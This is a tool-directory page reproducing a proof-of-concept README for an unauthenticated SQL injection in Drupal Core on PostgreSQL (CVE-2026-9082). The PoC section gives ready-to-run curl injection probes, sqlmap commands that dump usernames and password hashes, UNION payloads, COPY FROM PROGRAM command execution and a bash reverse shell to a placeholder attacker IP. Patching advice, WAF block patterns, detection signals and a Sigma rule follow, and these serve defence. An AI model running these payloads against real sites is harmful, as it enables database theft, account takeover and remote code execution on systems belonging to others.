Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-9082 — cve poc | Kitploit
Tools/GitHubGitHub/lysophavin18/cve-2026-9082
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHublysophavin18/cve-2026-9082

cve-2026-9082

cve poc

View Repository
64May 21, 2026Not yet reviewed

Related Tools

  • nuclei

    Fast YAML-based vulnerability scanner with template-driven detection engine for automated security testing across web apps, APIs, networks, DNS, and cloud infrastructure.

  • zaproxy

    Open-source web application security scanner for automated vulnerability detection, manual penetration testing, and API security testing with a proxy-based interception engine.

  • openvas-scanner

    This repository contains the scanner component for Greenbone Community Edition.

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.2k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    841
  • 3

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    451
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    377
  • 5

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    351
  • 6

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    336

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-9082

Type: SQL Injection (CWE-89) Affected Product: Drupal Core (Database Abstraction API) Drupal Advisory: SA-CORE-2026-004 Published: May 20, 2026 Severity: Highly Critical (Drupal 20/25 | NVD CVSS 6.5)


What Is It?

CVE-2026-9082 is a SQL Injection vulnerability in Drupal's core database abstraction API. Drupal's DB layer wraps PDO and sanitizes all queries before they reach the database. This vulnerability bypasses that sanitization for PostgreSQL backends only — specially crafted HTTP requests slip past the normalization logic, injecting attacker-controlled SQL fragments directly into database queries.

MySQL and MariaDB are not affected by the injection vector, though the patch release also bundles critical Symfony/Twig fixes that apply to all backends.


Affected Versions

BranchVulnerablePatched
Drupal 10.4.x / 8.9.x8.9.0–10.4.910.4.10
Drupal 10.5.x10.5.0–10.5.910.5.10
Drupal 10.6.x10.6.0–10.6.810.6.9
Drupal 11.0.x–11.1.x11.0.0–11.1.911.1.10
Drupal 11.2.x11.2.0–11.2.1111.2.12
Drupal 11.3.x11.3.0–11.3.911.3.10

Prerequisite: Target must use PostgreSQL as its database backend.


How It Works (Technical)

Drupal's DB abstraction layer sanitizes values via parameterized queries/prepared statements, but relies on the query builder to provide trusted structural SQL (field names, operators, ORDER BY targets). The bug is in how the PostgreSQL driver handles certain input patterns when building queries — PostgreSQL's SQL dialect differs from MySQL in key ways:

  • String concatenation with ||
  • Type casting with ::
  • Dollar-quoting
  • COPY ... FROM PROGRAM command
  • Different operator handling

A crafted request introduces characters/sequences that pass Drupal's value-level sanitization but are interpreted as structural SQL by PostgreSQL's parser. The attack surface is reachable without authentication via any endpoint that passes user-controlled parameters into DB queries (search, view filters, form submissions, JSON:API, etc.).

Exploitation Chain

Attacker (unauthenticated)
  |
  |--> HTTP request with crafted parameter
  |    (e.g. search field, filter, form input)
  |
  v
Drupal DB Abstraction API
  |
  |--> Sanitization bypass (PostgreSQL-specific)
  |
  v
PostgreSQL executes injected SQL
  |
  |--> Information disclosure (dump entire DB)
  |--> Privilege escalation (inject admin credentials)
  |--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)

Why It's Dangerous

  1. No authentication required — any internet-facing Drupal site on PostgreSQL is exposed
  2. RCE potential — via COPY TO PROGRAM 'cmd' if DB user has superuser privileges
  3. Full DB access — user accounts, password hashes, session tokens, PII
  4. Broad version range — entire Drupal 8/10/11 lifecycle
  5. Compound risk — same patch covers Twig SSTI; attacker can chain SQLi → admin creation → SSTI for RCE

Drupal's own warning: "exploits might be developed within hours or days of disclosure" (consistent with historical Drupal DB-layer CVEs like SA-CORE-2014-005 / Drupalgeddon).


Proof-of-Concept (Authorized Lab Testing Only)

Step 1: Identify Candidate Endpoints

# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"

Step 2: Detect PostgreSQL-Specific Injection

# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"

Step 3: Automated Extraction (sqlmap, Authorized Testing)

sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump

Step 4: Manual UNION-Based Extraction (Conceptual)

-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2--  -- increment until error

-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--

-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--

Step 5: RCE via COPY TO PROGRAM (If DB User = Superuser)

CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

Mitigation

Immediate: Patch Drupal

# Composer (recommended)
composer update drupal/core drupal/core-recommended

# Verify version
php core/scripts/drupal --version

# OR via Drush
drush updb && drush cr

Database Hardening

-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false

WAF (Temporary Stopgap Only — Not a Substitute for Patching)

Block patterns: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--

Network

Ensure PostgreSQL binds only to localhost or a private interface; not internet-reachable.


Detection Signals

SourceSignal
Web logspg_sleep, ::, UNION SELECT, --, COPY PROGRAM in query strings
PostgreSQL logsSyntax errors correlating with web request timestamps
Drupal watchdogDB exceptions from search/view/jsonapi endpoints
auditdpostgres spawning child processes (COPY TO PROGRAM)
Drupal users tableNew administrator role rows with recent timestamps

Sigma Rule (Detection)

title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]

Summary

CVE-2026-9082 is a zero-authentication SQL injection in Drupal Core targeting PostgreSQL backends. Despite a moderate NVD CVSS of 6.5, Drupal rates it 20/25 (Highly Critical) because unauthenticated access + PostgreSQL's COPY TO PROGRAM = direct RCE in misconfigured environments. The broad affected version range and bundled Twig SSTI fixes make this a critical, urgent patch for all Drupal sites, especially those on PostgreSQL in internet-facing deployments.

Recommended action: Update to the patched version for your branch immediately. Verify your DB application user is not a PostgreSQL superuser.

Download Tool